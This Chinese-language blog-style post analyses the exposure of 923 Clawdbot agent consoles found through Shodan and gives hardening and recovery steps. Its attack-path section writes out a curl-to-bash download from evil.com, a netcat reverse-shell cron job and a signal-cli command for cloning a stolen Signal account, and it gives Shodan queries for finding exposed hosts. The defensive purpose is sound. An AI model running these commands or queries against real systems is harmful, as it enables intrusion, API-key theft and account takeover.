Shodan 扫出 923 个暴露网关：Clawdbot 安全事故分析与防护方案

事故概况

2026年1月，安全研究人员在 Shodan（互联网设备搜索引擎）上发现 923 个 Clawdbot 控制台暴露在公网，无需认证即可访问。

Shodan 搜索关键词：clawdbot control 或端口 18789

攻击者可以：

查看所有聊天记录
提取 API Key（Claude、OpenAI、Telegram Bot Token）
修改配置文件
执行远程 shell 命令
下载 Signal session 文件（克隆账号）

这不是理论风险，已有实际利用案例。

问题根源分析

配置错误：bind 0.0.0.0

Clawdbot 的控制台默认监听 localhost:18789。

但如果想从其他设备访问（手机、笔记本），需要改配置：

{
  "gateway": {
    "bind": "0.0.0.0",  // 监听所有网络接口
    "port": 18789
  }
}

0.0.0.0 的含义：

在局域网环境：监听 192.168.x.x（局域网 IP）
在云服务器：监听公网 IP（直接暴露到互联网）

很多人没意识到这个差异。

文档误导

快速开始示例（README）：

clawdbot gateway --bind 0.0.0.0 --port 18789

虽然文档下方有警告："生产环境必须启用认证"，但：

警告藏在第 115 行，很多人看不到
示例代码直接写 0.0.0.0，新手会直接复制
没有强制校验（启动时不报错）

云服务器的天然陷阱

本地电脑 vs 云服务器的区别：

本地电脑（有路由器）：

外网 → 路由器 NAT → 本地电脑 (192.168.x.x)

即使 bind 0.0.0.0，外网无法直接访问（除非配置端口转发）。

云服务器（直连公网）：

外网 → 云服务器公网 IP (123.45.67.89)

bind 0.0.0.0 = 直接暴露到全世界。

很多人以为"云服务器会自带防火墙"，实际上默认是全开的。

攻击面详解

攻击路径1：读取聊天记录

控制台 Web UI 地址：

http://<target-ip>:18789/

进入后可以看到：

所有频道的消息历史
联系人列表
文件传输记录

如果对话中涉及敏感信息（密码、账号、内部资料），全部泄露。

攻击路径2：提取 API Key

配置页面 /settings：

{
  "providers": {
    "anthropic": {
      "apiKey": "sk-ant-xxx...xxx"  // 明文显示
    },
    "openai": {
      "apiKey": "sk-xxx...xxx"
    }
  },
  "channels": {
    "telegram": {
      "botToken": "123456:ABCdef..."
    }
  }
}

拿到这些 key 后，攻击者可以：

消耗你的 API 配额（烧钱）
冒充你的 bot 发送钓鱼消息
如果 key 权限范围大，操作其他关联服务

攻击路径3：远程代码执行

Clawdbot 的 bash tool 允许执行 shell 命令。

攻击者可以通过控制台界面发送指令：

POST /api/agent/execute
{
  "tool": "bash",
  "command": "curl http://evil.com/backdoor.sh | bash"
}

或者直接修改配置，注入恶意 cron 任务：

{
  "cron": {
    "backdoor": {
      "schedule": "* * * * *",
      "action": "shell",
      "command": "nc evil.com 4444 -e /bin/bash"  // 反向 shell
    }
  }
}

攻击路径4：克隆 Signal 账号

Clawdbot 集成 Signal 时，会在 ~/.clawdbot/signal-cli/ 目录存储：

账号私钥
Session 数据
联系人列表

攻击者下载这些文件，在自己的设备上运行：

signal-cli --config ./stolen-data link

就能「克隆」你的 Signal 账号，接收你的所有消息。

防护方案

方案1：只监听 localhost（推荐）

修改配置：

{
  "gateway": {
    "bind": "127.0.0.1"
  }
}

需要远程访问时，使用 SSH 隧道：

ssh -L 18789:localhost:18789 user@server

方案2：启用强认证

如果必须绑定 0.0.0.0，启用密码保护：

{
  "gateway": {
    "bind": "0.0.0.0",
    "auth": {
      "enabled": true,
      "method": "password",
      "password": "your-strong-password-here"
    }
  }
}

访问控制台时需要输入密码。

更安全的方式：JWT Token

{
  "gateway": {
    "auth": {
      "enabled": true,
      "method": "jwt",
      "secret": "your-secret-key",
      "tokenExpiry": 86400  // 24小时过期
    }
  }
}

生成访问 token：

clawdbot auth generate-token --expires 24h

方案3：防火墙限制

即使启用了认证，也应该在防火墙层面限制访问：

# 只允许特定 IP 访问
sudo ufw allow from 203.0.113.0/24 to any port 18789

# 或只允许 VPN 网段
sudo ufw allow from 100.64.0.0/10 to any port 18789

方案4：反向代理

使用 Nginx/Caddy 加一层保护：

server {
  listen 443 ssl;
  server_name clawd.internal.company.com;
  
  # IP 白名单
  allow 10.0.0.0/8;
  deny all;
  
  # HTTP Basic Auth
  auth_basic "Restricted";
  auth_basic_user_file /etc/nginx/.htpasswd;
  
  # 速率限制
  limit_req zone=one burst=5;
  
  location / {
    proxy_pass http://127.0.0.1:18789;
  }
}

检测是否已暴露

自查命令

# 检查监听地址
netstat -tlnp | grep 18789

# 如果输出包含 0.0.0.0:18789，说明监听了所有接口
# 如果输出是 127.0.0.1:18789，安全

# 从外部测试（需要另一台机器）
curl -I http://<your-server-ip>:18789

# 如果返回 200 或 401，说明可以从外部访问
# 如果超时或拒绝连接，说明被防火墙拦截（安全）

使用 Shodan 检查

访问 https://www.shodan.io/

搜索你的服务器 IP：

ip:"123.45.67.89" port:18789

如果有结果，说明你已被 Shodan 索引（全世界可见）。

Clawdbot Doctor

官方在 2026年1月底加入了检测命令：

clawdbot doctor

输出示例：

✓ Node.js 版本: 22.1.0
✓ 数据库正常
✗ 控制台绑定到 0.0.0.0 但未启用认证 (高危)
✗ 防火墙未检测到 UFW/iptables 规则
⚠ API Key 存储为明文 (建议加密)

风险评分: 7/10 (高风险)

建议修复:
1. 修改 bind 为 127.0.0.1
2. 或启用 gateway.auth
3. 配置防火墙规则

定期运行这个命令，确保配置安全。

事后补救

如果你发现自己的控制台已经暴露：

步骤1：立即关闭服务

# 停止 Clawdbot
sudo systemctl stop clawdbot
# 或
docker-compose down

步骤2：轮换所有密钥

假设 API key 已泄露：

访问 Anthropic Console，撤销旧 key，生成新 key
访问 OpenAI Dashboard，撤销旧 key
访问 Telegram BotFather，重置 bot token

步骤3：检查异常活动

查看 API 使用记录：

# Anthropic Console → Usage → Recent requests
# 检查是否有陌生 IP 的调用

查看 Clawdbot 日志：

grep "incoming_message" ~/.clawdbot/logs/* | \
  awk '{print $NF}' | sort | uniq
  
# 如果出现陌生的 user_id，说明被入侵过

步骤4：修复配置后重启

按照上面的防护方案修复配置，然后重新启动。

步骤5：报告

如果发现明确的攻击行为，报告给：

云服务提供商（阿里云/AWS 安全团队）
Clawdbot GitHub Security Advisory

教训

这次批量暴露事件的核心教训：

「能跑」和「安全地跑」之间有巨大鸿沟。

技术工具的门槛降低了（一条命令就能装 Clawdbot），但安全知识的门槛没变。

大量非技术背景的用户涌入，他们不懂防火墙、不懂端口、不懂 NAT。

但这不是他们的错。

真正的问题是：工具设计没有充分考虑"非专业用户"的场景。

理想的设计应该是"默认安全"：

启动时强制检查网络配置
如果 bind 0.0.0.0 且未启用认证，拒绝启动
或者至少弹出巨大的红字警告，让用户无法忽视

把安全责任推给用户，最后受伤的是整个生态。

参考资源：

Shodan: https://www.shodan.io/
Clawdbot Issue #2015: https://github.com/clawdbot/clawdbot/issues/2015
OWASP 配置错误: https://owasp.org/Top10/A05_2021-Security_Misconfiguration/